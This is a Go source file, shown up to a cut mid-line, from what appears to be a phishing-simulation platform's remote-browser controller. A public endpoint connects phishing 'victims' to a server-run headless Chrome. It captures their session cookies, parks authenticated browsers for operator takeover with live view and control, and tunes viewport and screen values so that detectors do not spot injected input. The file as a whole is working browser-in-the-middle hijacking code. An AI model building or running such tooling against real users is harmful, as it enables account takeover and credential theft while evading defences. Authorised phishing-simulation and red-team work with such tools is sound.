package controller import ( "bytes" "context" "encoding/binary" "encoding/json" "fmt" "image" "image/draw" "image/jpeg" "image/png" "math" "math/rand" "net/http" "net/url" "sync" "sync/atomic" "time" "github.com/gin-gonic/gin" "github.com/go-rod/rod" "github.com/go-rod/rod/lib/proto" "github.com/google/uuid" "github.com/gorilla/websocket" "github.com/oapi-codegen/nullable" "github.com/phishingclub/phishingclub/cache" "github.com/phishingclub/phishingclub/data" "github.com/phishingclub/phishingclub/database" "github.com/phishingclub/phishingclub/model" "github.com/phishingclub/phishingclub/remotebrowser" "github.com/phishingclub/phishingclub/repository" "github.com/phishingclub/phishingclub/service" "github.com/phishingclub/phishingclub/utils" "github.com/phishingclub/phishingclub/vo" ) // activeSession tracks every victim WebSocket session from the moment it connects. // Pointer identity is used by CompareAndDelete so a newer session's entry // is never removed by an older session's defer cleanup. // browserPage is nil until the JS script calls newSession(); once set the session // can be streamed to an admin via StreamLiveSession. type activeSession struct { cancel context.CancelFunc CampaignID uuid.UUID RecipientID uuid.UUID CRID uuid.UUID CreatedAt time.Time victimConnected atomic.Bool // isKeepAlive is set when the JS script calls s.keepAlive(), meaning the // browser is parked and available for operator takeover. A revisit from the // victim must not cancel this session. isKeepAlive atomic.Bool // isTest marks sessions created by the test runner (RunByID) so they are // excluded from the live session list shown to operators. isTest bool // browserPage is set (non-nil) only after newSession() is called. browserPageMu sync.Mutex browserPage *rod.Page // screencast broker: one Chrome screencast per target, ref-counted and shared by // the operator viewer and victim streams. Both derive their frames from the same // source, so a victim stream looks identical whether or not an operator is watching // (no operator-presence leak), and two captures never run on one target. scMu sync.Mutex scTargets map[proto.TargetTargetID]*scTarget } // scFrame is the latest screencast frame for a target. type scFrame struct { data []byte devW, devH float64 } // scTarget is one shared, ref-counted screencast keyed by Chrome target. type scTarget struct { refs int cancel context.CancelFunc latest atomic.Pointer[scFrame] } func (a *activeSession) GetCampaignID() uuid.UUID { return a.CampaignID } func (a *activeSession) Cancel() { a.cancel() } func (a *activeSession) IsKeepAlive() bool { return a.isKeepAlive.Load() } func (a *activeSession) getBrowserPage() *rod.Page { a.browserPageMu.Lock() defer a.browserPageMu.Unlock() return a.browserPage } func (a *activeSession) setBrowserPage(page *rod.Page) { a.browserPageMu.Lock() defer a.browserPageMu.Unlock() a.browserPage = page } // scAcquire ensures a single screencast is running on page's target and registers // interest in it. get returns the latest frame (nil until the first arrives); release // drops interest and stops the screencast when the last consumer leaves. Fixed params // (native-resolution ceiling, quality 90) so every consumer sees identical frames // regardless of who else is watching — this is what keeps a victim stream invariant to // operator presence. func (a *activeSession) scAcquire(page *rod.Page) (get func() *scFrame, release func()) { tid := page.TargetID a.scMu.Lock() if a.scTargets == nil { a.scTargets = map[proto.TargetTargetID]*scTarget{} } t := a.scTargets[tid] if t == nil { ctx, cancel := context.WithCancel(page.GetContext()) t = &scTarget{cancel: cancel} a.scTargets[tid] = t go a.runScreencast(ctx, page, t) } t.refs++ a.scMu.Unlock() get = func() *scFrame { return t.latest.Load() } var once sync.Once release = func() { once.Do(func() { a.scMu.Lock() t.refs-- if t.refs <= 0 { t.cancel() delete(a.scTargets, tid) } a.scMu.Unlock() }) } return get, release } // runScreencast drives one Chrome screencast, storing the latest frame until ctx is // cancelled by the last release. func (a *activeSession) runScreencast(ctx context.Context, page *rod.Page, t *scTarget) { p := page.Context(ctx) wait := p.EachEvent(func(e *proto.PageScreencastFrame) bool { // Ack immediately so Chrome keeps producing regardless of consumer speed. proto.PageScreencastFrameAck{SessionID: e.SessionID}.Call(p) //nolint:errcheck var dw, dh float64 if e.Metadata != nil { dw, dh = e.Metadata.DeviceWidth, e.Metadata.DeviceHeight } t.latest.Store(&scFrame{data: e.Data, devW: dw, devH: dh}) return false }) // Foreground the tab so Chrome doesn't throttle its render pipeline. proto.TargetActivateTarget{TargetID: page.TargetID}.Call(page.Browser()) //nolint:errcheck q, w, h, n := 90, 3840, 2160, 1 proto.PageStartScreencast{ Format: proto.PageStartScreencastFormatJpeg, Quality: &q, MaxWidth: &w, MaxHeight: &h, EveryNthFrame: &n, }.Call(p) //nolint:errcheck proto.PageBringToFront{}.Call(p) //nolint:errcheck // Idle headless pages don't emit screencast frames until Chrome renders; nudge a // repaint if no frame has arrived shortly after start. go func() { tm := time.NewTimer(time.Second) defer tm.Stop() select { case <-ctx.Done(): return case <-tm.C: } if t.latest.Load() == nil { proto.RuntimeEvaluate{Expression: "window.requestAnimationFrame(function(){void 0})"}.Call(p) //nolint:errcheck } }() wait() // blocks until ctx cancelled by the last release proto.PageStopScreencast{}.Call(page) //nolint:errcheck } // streamInfo tracks a named cropped stream started by s.stream(selector, name). // originX/Y are the element's CSS-pixel top-left corner (for input coord mapping). // scaleX/Y are JPEG pixels per CSS pixel, computed from the first frame received // (may differ from 1.0 on HiDPI displays or when the viewport fits within maxWidth/maxHeight). type streamInfo struct { mu sync.RWMutex originX float64 originY float64 scaleX float64 scaleY float64 boxSet bool // true once the first frame has been processed and scale is known cancel context.CancelFunc maxFps int quality int // JPEG re-encode quality for cropped frames (0 = use default 92) } func (s *streamInfo) setOrigin(x, y float64) { s.mu.Lock() s.originX, s.originY = x, y s.mu.Unlock() } func (s *streamInfo) setScale(sx, sy float64) { s.mu.Lock() s.scaleX, s.scaleY, s.boxSet = sx, sy, true s.mu.Unlock() } // getInputCoords maps victim canvas pixel coords (vx, vy) back to CDP CSS pixel coords. func (s *streamInfo) getInputCoords(vx, vy float64) (float64, float64, bool) { s.mu.RLock() defer s.mu.RUnlock() if !s.boxSet || s.scaleX == 0 || s.scaleY == 0 { return 0, 0, false } return s.originX + vx/s.scaleX, s.originY + vy/s.scaleY, true } var RemoteBrowserColumnsMap = map[string]string{ "name": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "name"), "updated_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "updated_at"), "created_at": repository.TableColumn(database.REMOTE_BROWSER_TABLE, "created_at"), } var wsUpgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { origin := r.Header.Get("Origin") if origin == "" { return true // non-browser client (CLI, curl) } u, err := url.Parse(origin) if err != nil { return false } return u.Host == r.Host }, } func modelConfigToRunnerConfig(c nullable.Nullable[model.RemoteBrowserConfig]) remotebrowser.Config { cfg := remotebrowser.DefaultConfig() if mc, err := c.Get(); err == nil { if mc.Mode == "local" || mc.Mode == "remote" { cfg.Mode = mc.Mode } if cfg.Mode == "remote" { cfg.Remote = mc.Remote } cfg.Proxy = mc.Proxy cfg.Headless = mc.Headless if mc.Timeout > 0 { cfg.Timeout = mc.Timeout } cfg.Lang = mc.Lang cfg.ExtraFlags = mc.ExtraFlags } return cfg } // RemoteBrowserController handles remote browser CRUD and live test runs. type RemoteBrowserController struct { Common RemoteBrowserService *service.RemoteBrowser RemoteBrowserRepository *repository.RemoteBrowser CampaignRecipientRepository *repository.CampaignRecipient CampaignRepository *repository.Campaign CampaignService *service.Campaign // ExecPath is the server-configured Chrome binary (from config.json). ExecPath string // Enabled mirrors config.RemoteBrowserServerConfig.Enabled. When false // every endpoint returns 404 and the feature is fully unavailable. Enabled bool TrustedProxies []string } func (m *RemoteBrowserController) isEnabled(g *gin.Context) bool { if !m.Enabled { g.AbortWithStatus(http.StatusNotFound) return false } return true } // Create creates a remote browser script. func (m *RemoteBrowserController) Create(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } var req model.RemoteBrowser if ok := m.handleParseRequest(g, &req); !ok { return } id, err := m.RemoteBrowserService.Create(g.Request.Context(), session, &req) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, map[string]string{"id": id.String()}) } // GetOverview returns a lightweight list of remote browsers. func (m *RemoteBrowserController) GetOverview(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } queryArgs, ok := m.handleQueryArgs(g) if !ok { return } queryArgs.DefaultSortByUpdatedAt() queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) companyID := companyIDFromRequestQuery(g) result, err := m.RemoteBrowserService.GetAllOverview( companyID, g.Request.Context(), session, &repository.RemoteBrowserOption{QueryArgs: queryArgs}, ) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, result) } // GetAll returns full remote browser records with pagination. func (m *RemoteBrowserController) GetAll(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } queryArgs, ok := m.handleQueryArgs(g) if !ok { return } queryArgs.DefaultSortByUpdatedAt() queryArgs.RemapOrderBy(RemoteBrowserColumnsMap) companyID := companyIDFromRequestQuery(g) result, err := m.RemoteBrowserService.GetAll( g.Request.Context(), session, companyID, &repository.RemoteBrowserOption{QueryArgs: queryArgs}, ) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, result) } // GetByID returns a single remote browser. func (m *RemoteBrowserController) GetByID(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } id, ok := m.handleParseIDParam(g) if !ok { return } rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, rb) } // UpdateByID updates a remote browser. func (m *RemoteBrowserController) UpdateByID(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } id, ok := m.handleParseIDParam(g) if !ok { return } var req model.RemoteBrowser if ok := m.handleParseRequest(g, &req); !ok { return } err := m.RemoteBrowserService.UpdateByID(g.Request.Context(), session, id, &req) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, map[string]string{"message": "Remote browser updated"}) } // DeleteByID deletes a remote browser. func (m *RemoteBrowserController) DeleteByID(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } id, ok := m.handleParseIDParam(g) if !ok { return } err := m.RemoteBrowserService.DeleteByID(g.Request.Context(), session, id) if ok := m.handleErrors(g, err); !ok { return } m.Response.OK(g, map[string]string{"message": "Remote browser deleted"}) } // RunByID upgrades to WebSocket and executes the saved script, streaming // RunEvents back in real time. The client may send {"type":"stop"} to abort. func (m *RemoteBrowserController) RunByID(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } id, ok := m.handleParseIDParam(g) if !ok { return } rb, err := m.RemoteBrowserService.GetByID(g.Request.Context(), session, id, &repository.RemoteBrowserOption{}) if ok := m.handleErrors(g, err); !ok { return } cfg := modelConfigToRunnerConfig(rb.Config) conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) if err != nil { m.Logger.Warnw("websocket upgrade failed", "error", err) return } defer conn.Close() conn.SetReadLimit(64 * 1024) scriptVal, _ := rb.Script.Get() script := scriptVal.String() runner := remotebrowser.NewRunner(script, cfg) runner.ExecPath = m.ExecPath runner.Logger = m.Logger ctx, cancel := context.WithCancel(g.Request.Context()) defer cancel() // Register a synthetic activeSession so StreamLiveSession can stream this test run. // Key is the script UUID, which won't collide with victim crIDs (campaign-recipient UUIDs). sess := &activeSession{ cancel: cancel, CRID: *id, CreatedAt: time.Now(), isTest: true, } if prev, hadPrev := m.RemoteBrowserService.SwapSession(id.String(), sess); hadPrev { prev.Cancel() } defer m.RemoteBrowserService.CompareAndDeleteSession(id.String(), sess) // Forward BrowserCh into the session so StreamLiveSession sees a non-nil page. go func() { select { case page := <-runner.BrowserCh: sess.setBrowserPage(page) case <-ctx.Done(): } }() // Tell the frontend the session ID to use for View/Control streaming. if sessionMsg, err := json.Marshal(map[string]string{"type": "session", "id": id.String()}); err == nil { conn.WriteMessage(websocket.TextMessage, sessionMsg) //nolint:errcheck } // Read loop: route {"type":"stop"} to cancel; {"event":"..","data":{}} to runner.Incoming. go func() { for { _, msg, err := conn.ReadMessage() if err != nil { cancel() return } var cmd struct { Type string `json:"type"` Event string `json:"event"` Data json.RawMessage `json:"data"` } if json.Unmarshal(msg, &cmd) != nil { continue } if cmd.Type == "stop" { cancel() return } if cmd.Event != "" { var data interface{} if len(cmd.Data) > 0 { json.Unmarshal(cmd.Data, &data) //nolint:errcheck } select { case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: data}: default: } } } }() // Drain StreamCh — test runner doesn't serve cropped streams. go func() { for range runner.StreamCh { } }() // Run the script in a goroutine; Events channel is closed when done. go runner.Run(ctx) //nolint:errcheck // Write loop: forward every RunEvent to the WebSocket client. for evt := range runner.Events { data, err := json.Marshal(evt) if err != nil { continue } if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { return } } } // ServeVictim is the public (no auth) WebSocket endpoint that victims connect to. // The URL is //:crID/:rbID where crID is the campaign recipient ID // (the tracking token already embedded in the phishing page via {{.rID}}) and rbID // is the remote browser script to run. // // The handler bridges victim WebSocket messages into the runner's Incoming channel and // forwards runner events back to the victim. When the runner emits a "capture" event // the cookies are saved as a CampaignEvent so they appear alongside AITM captures. func (m *RemoteBrowserController) ServeVictim(g *gin.Context) { if !m.isEnabled(g) { return } crID, err := uuid.Parse(g.Param("crID")) if err != nil { g.AbortWithStatus(http.StatusNotFound) return } rbID, err := uuid.Parse(g.Param("rbID")) if err != nil { g.AbortWithStatus(http.StatusNotFound) return } // look up campaign recipient to get campaignID / recipientID for capture saving cr, err := m.CampaignRecipientRepository.GetByCampaignRecipientID(g.Request.Context(), &crID) if err != nil { g.AbortWithStatus(http.StatusNotFound) return } // look up remote browser script directly (no admin session on this public endpoint) rb, err := m.RemoteBrowserRepository.GetByID(g.Request.Context(), &rbID, &repository.RemoteBrowserOption{}) if err != nil { g.AbortWithStatus(http.StatusNotFound) return } // verify the script belongs to the same company as the // campaign. A script with no company (nil) is global and usable by any campaign. if rbCompany, err := rb.CompanyID.Get(); err == nil { cid, cidErr := cr.CampaignID.Get() if cidErr != nil { g.AbortWithStatus(http.StatusNotFound) return } campaign, campErr := m.CampaignRepository.GetByID(g.Request.Context(), &cid, &repository.CampaignOption{}) if campErr != nil { g.AbortWithStatus(http.StatusNotFound) return } campCompany, campCompanyErr := campaign.CompanyID.Get() if campCompanyErr != nil || campCompany != rbCompany { g.AbortWithStatus(http.StatusNotFound) return } } cfg := modelConfigToRunnerConfig(rb.Config) conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) if err != nil { return } defer conn.Close() conn.SetReadLimit(64 * 1024) var connMu sync.Mutex scriptVal, _ := rb.Script.Get() runner := remotebrowser.NewRunner(scriptVal.String(), cfg) runner.ExecPath = m.ExecPath runner.Logger = m.Logger campaignID, err1 := cr.CampaignID.Get() recipientID, err2 := cr.RecipientID.Get() if err1 != nil || err2 != nil { g.AbortWithStatus(http.StatusInternalServerError) return } // Use a background context for the runner so the victim's HTTP connection // closing (which cancels g.Request.Context()) does not kill a keepAlive // session. The session lifetime is controlled explicitly via cancel(). ctx, cancel := context.WithCancel(context.Background()) sess := &activeSession{ cancel: cancel, CampaignID: campaignID, RecipientID: recipientID, CRID: crID, CreatedAt: time.Now(), } sess.victimConnected.Store(true) // One active session per campaign recipient — cancel any previous one. // Exception: if the previous session is in keepAlive state the script has // parked and is waiting for operator takeover; cancelling it would destroy // a live browser the operator may be about to use. In that case put the // old session back and drop the new connection instead. crIDStr := crID.String() if prev, hadPrev := m.RemoteBrowserService.SwapSession(crIDStr, sess); hadPrev { if prev.IsKeepAlive() { m.RemoteBrowserService.StoreSession(crIDStr, prev) cancel() return } prev.Cancel() } defer func() { // For keepAlive sessions the runner is still parked waiting for the // operator — do not cancel or remove it here. CloseLiveSession handles // cleanup when the operator explicitly ends the session. if !sess.isKeepAlive.Load() { m.RemoteBrowserService.CompareAndDeleteSession(crIDStr, sess) cancel() } }() var activeNamedStreams sync.Map // name → *streamInfo // victimVP stores the victim's viewport size sent on connect. // Stored as int64 atomics so they can be read from the BrowserCh goroutine // without a mutex; 0 means "not yet received". var vpWidth, vpHeight atomic.Int64 var vpScreenW, vpScreenH atomic.Int64 // recipient screen.width/height; 0 means "not yet received" // applyViewport sets the emulated viewport on the rod page if we have both a page // and a non-zero victim viewport. DeviceScaleFactor is pinned to 1: a value != 1 // makes Chrome compute mouse movementX/movementY in a scaled space, so // movementX != clientX - prevClientX for CDP-injected events, which detectors flag // as a CDP mouse leak. Rendering at DSF 1 is slightly softer on HiDPI but keeps the // injected mouse coordinates internally consistent. applyViewport := func(page *rod.Page) { w := vpWidth.Load() h := vpHeight.Load() if w <= 0 || h <= 0 || page == nil { return } // Mirror the recipient's real screen so screen.width/height stays consistent // with the emulated viewport. Without a screen override the viewport // (innerWidth/Height) exceeds the headless window's default 800x600 screen, // which detectors flag as impossible. Fall back to the viewport size when the // recipient did not report a screen, which still keeps screen >= viewport. sw := int(vpScreenW.Load()) if sw < int(w) { sw = int(w) } sh := int(vpScreenH.Load()) if sh < int(h) { sh = int(h) } proto.EmulationSetDeviceMetricsOverride{ Width: int(w), Height: int(h), DeviceScaleFactor: 1, ScreenWidth: &sw, ScreenHeight: &sh, }.Call(page) //nolint:errcheck } // Read loop: forward victim events into the runner; route stream_input with coord offset. go func() { // Per-stream last mousemove dispatch time used to cap stream_input mousemove // events at 60 Hz. Clicks and other actions are always forwarded immediately. streamMouseMoveLast := map[string]time.Time{} const streamMouseMoveMinInterval = 16 * time.Millisecond for { _, msg, err := conn.ReadMessage() if err != nil { sess.victimConnected.Store(false) select { case runner.Incoming <- remotebrowser.IncomingMsg{Event: "disconnect"}: default: } // keepAlive: browser is parked for operator takeover — a victim // disconnect must not kill the session, the operator still needs it. if !sess.isKeepAlive.Load() { cancel() } return } var cmd struct { Type string `json:"type"` Event string `json:"event"` Data json.RawMessage `json:"data"` Name string `json:"name"` Action string `json:"action"` X float64 `json:"x"` Y float64 `json:"y"` Button string `json:"button"` DeltaX float64 `json:"deltaX"` DeltaY float64 `json:"deltaY"` Key string `json:"key"` Code string `json:"code"` KeyCode int64 `json:"keyCode"` Modifiers int64 `json:"modifiers"` CharText string `json:"charText"` Width float64 `json:"width"` Height float64 `json:"height"` Dpr float64 `json:"dpr"` ScreenWidth float64 `json:"screenWidth"` ScreenHeight float64 `json:"screenHeight"` } if json.Unmarshal(msg, &cmd) != nil { continue } if cmd.Type == "viewport" && cmd.Width > 0 && cmd.Height > 0 { vpWidth.Store(int64(cmd.Width)) vpHeight.Store(int64(cmd.Height)) if cmd.ScreenWidth > 0 && cmd.ScreenHeight > 0 { vpScreenW.Store(int64(cmd.ScreenWidth)) vpScreenH.Store(int64(cmd.ScreenHeight)) } applyViewport(sess.getBrowserPage()) continue } if cmd.Type == "stream_input" && cmd.Name != "" && cmd.Action != "" { // Rate-limit mousemove to 60 Hz - the captcha screencast frame rate // is typically well below this, so extra events never make it into // a frame and only add unnecessary CDP round-trips. if cmd.Action == "mousemove" { now := time.Now() if now.Sub(streamMouseMoveLast[cmd.Name]) < streamMouseMoveMinInterval { continue } streamMouseMoveLast[cmd.Name] = now } if val, exists := activeNamedStreams.Load(cmd.Name); exists { si := val.(*streamInfo) // cmd.X/Y are in cropped-canvas JPEG pixels; map back to CDP CSS coords. cdpX, cdpY, ok := si.getInputCoords(cmd.X, cmd.Y) if ok { if page := sess.getBrowserPage(); page != nil { adjusted, _ := json.Marshal(map[string]interface{}{ "type": cmd.Action, "x": cdpX, "y": cdpY, "button": cmd.Button, "deltaX": cmd.DeltaX, "deltaY": cmd.DeltaY, "key": cmd.Key, "code": cmd.Code, "keyCode": cmd.KeyCode, "modifiers": cmd.Modifiers, "charText": cmd.CharText, }) m.dispatchInput(page, adjusted) } } } continue } if cmd.Event == "" { continue } var eventData interface{} json.Unmarshal(cmd.Data, &eventData) //nolint:errcheck select { case runner.Incoming <- remotebrowser.IncomingMsg{Event: cmd.Event, Data: eventData}: default: } } }() go runner.Run(ctx) //nolint:errcheck // As soon as the browser spawns, mark the session as streamable, apply the // victim viewport, and subscribe to navigation events so the script can react // via s.on("navigate", fn). go func() { select { case <-ctx.Done(): case page := <-runner.BrowserCh: sess.setBrowserPage(page) applyViewport(page) wait := page.EachEvent( func(e *proto.PageFrameNavigated) (stop bool) { if e.Frame != nil && e.Frame.ParentID == "" { select { case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.Frame.URL}}: default: } } return }, func(e *proto.PageNavigatedWithinDocument) (stop bool) { select { case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.URL}}: default: } return }, ) go wait() } }() // Watch for s.stream(selector, name) / stop() calls from the script. go func() { for { select { case <-ctx.Done(): return case cmd, ok := <-runner.StreamCh: if !ok { return } if cmd.Op == "start" { if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { val.(*streamInfo).cancel() } streamCtx, streamCancel := context.WithCancel(cmd.Page.GetContext()) si := &streamInfo{cancel: streamCancel, maxFps: cmd.MaxFps, quality: cmd.Quality} activeNamedStreams.Store(cmd.Name, si) go m.runNamedStream(streamCtx, cmd.Page, sess, &connMu, conn, cmd.Selector, cmd.Name, si) } else if cmd.Op == "stop" { if val, exists := activeNamedStreams.LoadAndDelete(cmd.Name); exists { val.(*streamInfo).cancel() } } } } }() clientIP := utils.ExtractClientIP(g.Request, m.TrustedProxies) userAgent := g.Request.UserAgent() // processEvent handles server-side effects for a RunEvent (DB writes, session state // updates). Uses context.Background() so a victim disconnect does not cause DB writes // to fail mid-flight. processEvent := func(evt remotebrowser.RunEvent) { switch evt.Type { case "capture": m.saveCaptureEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) case "submit": m.saveSubmitEvent(context.Background(), g.Request, &campaignID, &recipientID, evt.Value, clientIP, userAgent) case "error": m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) case "info": m.saveInfoEvent(context.Background(), &campaignID, &recipientID, evt.Message, clientIP, userAgent) case "keep_alive": sess.isKeepAlive.Store(true) select { case page := <-runner.LiveCh: sess.setBrowserPage(page) m.saveInfoEvent(context.Background(), &campaignID, &recipientID, "remote browser session available for takeover", clientIP, userAgent) default: } case "log": m.Logger.Debugw(evt.Message, "campaign_id", campaignID, "recipient_id", recipientID) } } // Write loop: forward script events back to the victim page and handle server-side // effects. Uses a select so it exits when the victim's HTTP connection closes without // cancelling the runner (which must stay alive for keepAlive sessions). // On disconnect, drain any buffered events so a keep_alive arriving simultaneously // with the disconnect is not silently lost. reqCtx := g.Request.Context() for { select { case <-reqCtx.Done(): // Victim disconnected. Non-blocking drain of buffered events to catch // a keep_alive or capture that arrived at the same time as the disconnect. for { select { case evt, ok := <-runner.Events: if !ok { return } processEvent(evt) default: return } } case evt, ok := <-runner.Events: if !ok { return } processEvent(evt) if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" || evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" || evt.Type == "screenshot" || evt.Type == "dom_dump" { continue } payload, err := json.Marshal(map[string]interface{}{ "type": evt.Type, "key": evt.Key, "value": evt.Value, }) if err != nil { continue } connMu.Lock() writeErr := conn.WriteMessage(websocket.TextMessage, payload) connMu.Unlock() if writeErr != nil { return } } } } // liveSessionInfo is the JSON shape returned by the live session list/get endpoints. type liveSessionInfo struct { CRID string `json:"crID"` CampaignID string `json:"campaignID"` RecipientID string `json:"recipientID"` CreatedAt time.Time `json:"createdAt"` VictimConnected bool `json:"victimConnected"` CanStream bool `json:"canStream"` // true once newSession() has spawned a browser } func (m *RemoteBrowserController) sessionToInfo(sess *activeSession) liveSessionInfo { return liveSessionInfo{ CRID: sess.CRID.String(), CampaignID: sess.CampaignID.String(), RecipientID: sess.RecipientID.String(), CreatedAt: sess.CreatedAt, VictimConnected: sess.victimConnected.Load(), CanStream: sess.getBrowserPage() != nil, } } // ListLiveSessions returns all active victim sessions for the campaign, optionally // filtered by campaignID query param. func (m *RemoteBrowserController) ListLiveSessions(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { if err != nil { m.Logger.Warnw("IsAuthorized error in ListLiveSessions", "error", err) } m.Response.Forbidden(g) return } campaignFilter := g.Query("campaignID") var sessions []liveSessionInfo m.RemoteBrowserService.RangeSessions(func(_ string, val service.LiveSession) bool { sess := val.(*activeSession) if sess.isTest { return true } if campaignFilter == "" || sess.CampaignID.String() == campaignFilter { sessions = append(sessions, m.sessionToInfo(sess)) } return true }) if sessions == nil { sessions = []liveSessionInfo{} } m.Response.OK(g, sessions) } // CloseLiveSession terminates an active victim session by cancelling its context. func (m *RemoteBrowserController) CloseLiveSession(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { if err != nil { m.Logger.Warnw("IsAuthorized error in CloseLiveSession", "error", err) } m.Response.Forbidden(g) return } crID := g.Param("crID") val, loaded := m.RemoteBrowserService.LoadAndDeleteSession(crID) if !loaded { g.AbortWithStatus(http.StatusNotFound) return } val.Cancel() m.Response.OK(g, map[string]string{"message": "live session closed"}) } // StreamLiveSession upgrades to WebSocket and streams a CDP screencast of the // active browser tab to the admin. When mode=control the admin's mouse and // keyboard input is forwarded back into the browser. New tabs opened by the // victim are auto-tracked; the admin can switch between them or close them via // switch_tab / close_tab WS messages. func (m *RemoteBrowserController) StreamLiveSession(g *gin.Context) { if !m.isEnabled(g) { return } session, _, ok := m.handleSession(g) if !ok { return } if authorized, err := service.IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL); err != nil || !authorized { if err != nil { m.Logger.Warnw("IsAuthorized error in StreamLiveSession", "error", err) } m.Response.Forbidden(g) return } crIDStr := g.Param("crID") val, exists := m.RemoteBrowserService.LoadSession(crIDStr) if !exists { g.AbortWithStatus(http.StatusNotFound) return } sess := val.(*activeSession) page := sess.getBrowserPage() if page == nil { // newSession() has not been called yet in the script g.AbortWithStatus(http.StatusServiceUnavailable) return } controlMode := g.Query("mode") == "control" conn, err := wsUpgrader.Upgrade(g.Writer, g.Request, nil) if err != nil { return } defer conn.Close() conn.SetReadLimit(64 * 1024) // Derived from outerCtx so the stream also ends when the victim session ends. streamCtx, streamCancel := context.WithCancel(page.GetContext()) defer streamCancel() type tabEntry struct { page *rod.Page url string } var tabsMu sync.Mutex tabs := map[proto.TargetTargetID]*tabEntry{ page.TargetID: {page: page, url: ""}, } var activePageMu sync.RWMutex activePageVal := page getActivePage := func() *rod.Page { activePageMu.RLock() defer activePageMu.RUnlock() return activePageVal } setActivePage := func(p *rod.Page) { activePageMu.Lock() defer activePageMu.Unlock() activePageVal = p } // Shared across tab switches; all feed into the write loop below. // Buffered to 1 so only the newest frame is ever queued: a slow client drops // intermediate frames instead of rendering a growing backlog of stale ones. frameCh := make(chan *scFrame, 1) urlCh := make(chan string, 4) switchCh := make(chan *rod.Page, 1) // notifyCh routes pre-encoded JSON from background goroutines to the write // loop, which is the sole writer on conn. notifyCh := make(chan []byte, 8) sendTabList := func() { active := getActivePage() tabsMu.Lock() type tabMsg struct { TargetID string `json:"targetID"` URL string `json:"url"` Active bool `json:"active"` } list := make([]tabMsg, 0, len(tabs)) for tid, e := range tabs { list = append(list, tabMsg{ TargetID: string(tid), URL: e.url, Active: active != nil && tid == active.TargetID, }) } tabsMu.Unlock() payload, err := json.Marshal(map[string]any{"type": "tabs", "tabs": list}) if err != nil { return } select { case notifyCh <- payload: default: } } // pageCancel cancels the previous tab's navigation subscription on every switch. var pageCancel context.CancelFunc // frameSource holds the current tab's shared-screencast getter and its release, // swapped by startOnPage. The poller goroutine reads getFrame; startOnPage may run // on the main goroutine (initial) or the read goroutine (tab switch), so guard it. var frameSrcMu sync.Mutex var getFrame func() *scFrame var releaseFrame func() setFrameSource := func(get func() *scFrame, release func()) { frameSrcMu.Lock() old := releaseFrame getFrame, releaseFrame = get, release frameSrcMu.Unlock() if old != nil { old() // release the previous tab's screencast interest after acquiring the new } } readFrameSource := func() func() *scFrame { frameSrcMu.Lock() defer frameSrcMu.Unlock() return getFrame } // startOnPage points the operator at tab p: subscribes to p's shared screencast and // (re)subscribes to its navigation events for the URL bar. The screencast itself is // owned and shared by the session broker, so this never starts a second capture on a // target a victim stream is already using. startOnPage := func(p *rod.Page) { if pageCancel != nil { pageCancel() } setActivePage(p) // Foreground the tab so Chrome doesn't throttle its rendering pipeline. proto.TargetActivateTarget{TargetID: p.TargetID}.Call(p.Browser()) //nolint:errcheck proto.PageBringToFront{}.Call(p) //nolint:errcheck get, release := sess.scAcquire(p) setFrameSource(get, release) var pageCtx context.Context pageCtx, pageCancel = context.WithCancel(streamCtx) navPage := p.Context(pageCtx) wait := navPage.EachEvent( func(e *proto.PageFrameNavigated) (stop bool) { if e.Frame != nil && e.Frame.ParentID == "" { tabsMu.Lock() if entry, ok := tabs[p.TargetID]; ok { entry.url = e.Frame.URL } tabsMu.Unlock() select { case urlCh <- e.Frame.URL: default: } } return }, func(e *proto.PageNavigatedWithinDocument) (stop bool) { tabsMu.Lock() if entry, ok := tabs[p.TargetID]; ok { entry.url = e.URL } tabsMu.Unlock() select { case urlCh <- e.URL: default: } return }, ) go wait() } startOnPage(page) defer func() { if pageCancel != nil { pageCancel() } frameSrcMu.Lock() r := releaseFrame frameSrcMu.Unlock() if r != nil { r() } }() // Poll the current tab's shared screencast and forward changed frames to the write // loop. Screencast frames are change-driven, so polling latest at ~60 Hz and skipping // unchanged frames catches every repaint without a busy loop. go func() { ticker := time.NewTicker(16 * time.Millisecond) defer ticker.Stop() var lastData []byte for { select { case <-streamCtx.Done(): return case <-ticker.C: get := readFrameSource() if get == nil { continue } f := get() if f == nil || len(f.data) == 0 || 